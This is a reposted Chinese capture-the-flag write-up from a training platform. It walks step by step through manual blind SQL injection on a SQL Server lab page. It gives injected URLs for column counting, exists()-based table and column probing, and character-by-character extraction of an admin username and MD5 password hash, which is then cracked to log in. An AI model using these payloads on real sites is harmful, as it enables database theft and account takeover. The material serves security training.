墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)

手工SQL注入过程,数据库执行的语句,是页面提交至服务器应用程序,应用程序获取id的值,然后把值拼接到查询语句中,在到数据库中查询,通过程序解析后,把结果返回在页面上,(使用时请将mozhe.cn替换成对应的靶场地址)。

开启靶场环境:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第1张图片

第1步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第2张图片

页面提交:http://mozhe.cn/new_list.php?id=2
数据库执行语句:select * from manage where id=2
页面返回描述:返回内容正常
分析解说:正常浏览页面,找到有参数的地方,如id。

第2步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第3张图片

页面提交:http://mozhe.cn/new_list.php?id=2-0
数据库执行语句:select * from manage where id=2-0
页面返回描述:返回内容正常
分析解说:测试SQL语句。

第3步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第4张图片

页面提交:http://mozhe.cn/new_list.php?id=2-1
数据库执行语句:select * from manage where id=2-1
页面返回描述:返回内容为错误页面
分析解说:因为sql语句中,2-1不等于2,所以结果不成立。

第4步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第5张图片

页面提交:http://mozhe.cn/new_list.php?id=2 order by 1
数据库执行语句:select * from manage where id=2 order by 1
页面返回描述:返回内容正常
分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容正常,可以确定至少有1个字段。

第5步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第6张图片

页面提交:http://mozhe.cn/new_list.php?id=2 order by 10
数据库执行语句:select * from manage where id=2 order by 10
页面返回描述:返回内容为错误页面
分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容不正常,说明字段数少于10个。

第6步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第7张图片

页面提交:http://mozhe.cn/new_list.php?id=2 order by 5
数据库执行语句:select * from manage where id=2 order by 5
页面返回描述:返回内容为错误页面
分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容不正常,说明字段数少于5个。

第7步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第8张图片

页面提交:http://mozhe.cn/new_list.php?id=2 order by 4
数据库执行语句:select * from manage where id=2 order by 4
页面返回描述:返回内容正常
分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容正常,可以确定有4个字段。

第8步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第9张图片

页面提交:http://mozhe.cn/new_list.php?id=2 and 1=2 union select 1,2,3,4
数据库执行语句:select * from manage where id=2 and 1=2 union select 1,2,3,4
页面返回描述:返回内容为错误页面
分析解说:通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段。此处返回的是错误页面,说明系统禁止使用union进行相关SQL查询,我们得使用其他方式进行手工SQL注入。

第9步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第10张图片

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists(select * from admin)
数据库执行语句:select * from manage where id=2 and exists(select * from admin)
页面返回描述:返回内容为错误页面
分析解说:通过SQL语句中的and exists(select * from admin)查询,判断数据库中存在哪些数据库表。此处返回错误页面,说明系统不存在admin数据库表。

第10步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第11张图片

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists(select * from manage)
数据库执行语句:select * from manage where id=2 and exists(select * from manage)
页面返回描述:返回内容为正常页面
分析解说:通过SQL语句中的and exists(select * from manage)查询,判断数据库中存在哪些数据库表。此处返回正常页面,说明系统存在manage数据库表。

第11步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第12张图片

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists(select username from manage)
数据库执行语句:select * from manage where id=2 and exists(select username from manage)
页面返回描述:返回内容为正常页面
分析解说:通过SQL语句中的and exists(select username from manage)查询,判断manage数据库表表中存在的字段。此处返回内容为正常页面,说明数据库表中存在username字段。

第12步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第13张图片

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists(select password from manage)
数据库执行语句:select * from manage where id=2 and exists(select password from manage)
页面返回描述:返回内容为正常页面
分析解说:通过SQL语句中的and exists(select password from manage)查询,判断manage数据库表表中存在的字段。此处返回内容为正常页面,说明数据库表中存在password字段。

第13步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第14张图片

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists(select id from manage)
数据库执行语句:select * from manage where id=2 and exists(select id from manage)
页面返回描述:返回内容为正常页面
分析解说:通过SQL语句中的and exists(select id from manage)查询,判断manage数据库表表中存在的字段。此处返回内容为正常页面,说明数据库表中存在id字段。

第14步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第15张图片

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where ID=1)
数据库执行语句:select * from manage where id=2 and exists (select id from manage where ID=1)
页面返回描述:返回内容为正常页面
分析解说:通过SQL语句中的通过SQL语句中的and exists(select id from manage)查询,判断manage数据库表表中ID为1是否存在数据。此处返回内容为正常页面,说明数据库表中ID为1是存在的。

第15步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第16张图片

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where len(username)=1 and ID=1)
数据库执行语句:select * from manage where id=2 and exists (select id from manage where len(username)=1 and ID=1)
页面返回描述:返回内容为错误页面
分析解说:通过SQL语句中的通过SQL语句中的and exists (select id from manage where len(username)=1 and ID=1)查询,判断manage数据库表表中id=1的usrname字段值的长度。此处返回内容为错误页面,说明数据库表中ID=1的username字段值的长度大于1。得知username长度大于1后,依次尝试2,3,4…N,直至返回页面如第16步所示。

第16步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第17张图片

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where len(username)=8 and ID=1)
数据库执行语句:select * from manage where id=2 and exists (select id from manage where len(username)=8 and ID=1)
页面返回描述:返回内容为正常页面
分析解说:通过SQL语句中的通过SQL语句中的and exists (select id from manage where len(username)=8 and ID=1)查询,判断manage数据库表表中id=1的usrname字段值的长度。此处返回内容为正常页面,说明数据库表中ID=1的username字段值的长度等于8。

第17步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第18张图片

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where len(password)=1 and ID=1)
数据库执行语句:select * from manage where id=2 and exists (select id from manage where len(password)=1 and ID=1)
页面返回描述:返回内容为错误页面
分析解说:通过SQL语句中的通过SQL语句中的and exists (select id from manage where len(password)=1 and ID=1)查询,判断manage数据库表表中id=1的password字段值的长度。此处返回内容为错误页面,说明数据库表中ID=1的password字段值的长度大于1。得知password长度大于1后,依次尝试2,3,4,5…N(或者直接使用MD5后的字符串长度),直至返回页面如第18步所示。

第18步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第19张图片

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where len(password)=16 and ID=1)
数据库执行语句:select * from manage where id=2 and exists (select id from manage where len(password)=16 and ID=1)
页面返回描述:返回内容为正常页面
分析解说:通过SQL语句中的通过SQL语句中的and exists (select id from manage where len(password)=16 and ID=1)查询,判断manage数据库表表中id=1的password字段值的长度。此处返回内容为正常页面,说明数据库表中ID=1的password字段值的长度等于16。

第19步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第20张图片

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,1,1))=65 and ID=1)
数据库执行语句:select * from manage where id=2 and exists (select id from manage where unicode(substring(username,1,1))=65 and ID=1)
页面返回描述:返回内容为错误页面
分析解说:通过SQL语句中的通过SQL语句中的and exists (select id from manage where unicode(substring(username,1,1))=65 and ID=1)查询,判断manage数据库表表中id=1的username字段值的第一位字符。此处返回内容为错误页面,说明数据库表中ID=1的username字段值的第一位不等于‘A’。关于ASC码的转码,请自行补习功课。

第20步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第21张图片

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,1,1))=97 and ID=1)
数据库执行语句:select * from manage where id=2 and exists (select id from manage where unicode(substring(username,1,1))=97 and ID=1)
页面返回描述:返回内容为正常页面
分析解说:通过SQL语句中的通过SQL语句中的and exists (select id from manage where unicode(substring(username,1,1))=97 and ID=1)查询,判断manage数据库表表中id=1的username字段值的第一位字符。此处返回内容为正常页面,说明数据库表中ID=1的username字段值的第一位等于‘a’。

第21步:

墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)_第22张图片

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)
数据库执行语句:select * from manage where id=2 and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)
页面返回描述:返回内容为正常页面
分析解说:通过SQL语句中的通过SQL语句中的and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)查询,判断manage数据库表表中id=1的username字段值的第一位字符。此处返回内容为正常页面,说明数据库表中ID=1的username字段值的第一位等于‘d’。

第22步:

使用第19至第21步的方法,分别提交以下URL请求,即可得到id=1的username字段的值。
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,3,1))=109 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,4,1))=105 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,5,1))=110 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,6,1))=95 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,7,1))=109 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,8,1))=122 and ID=1)
最后得到的username值是:admin_mz

第23步:

利用注入username字段值的方法对password字段进行注入,分别提交以下URL请求,即可得到id=1的password字段的值。
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,1,1))=55 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,2,1))=50 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,3,1))=101 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,4,1))=49 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,5,1))=98 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,6,1))=102 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,7,1))=99 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,8,1))=51 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,9,1))=102 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,10,1))=48 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,11,1))=49 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,12,1))=98 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,13,1))=55 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,14,1))=53 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,15,1))=56 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,16,1))=51 and ID=1)
最后得到的password值是:72e1bfc3f01b7583
不过该password值为明文password MD5加密后的值,通过MD5解密网站得知明文password值为97285101,最后成功登录系统。

转自墨者学院本题下-finally‘wirteup

 

你可能感兴趣的:(sql)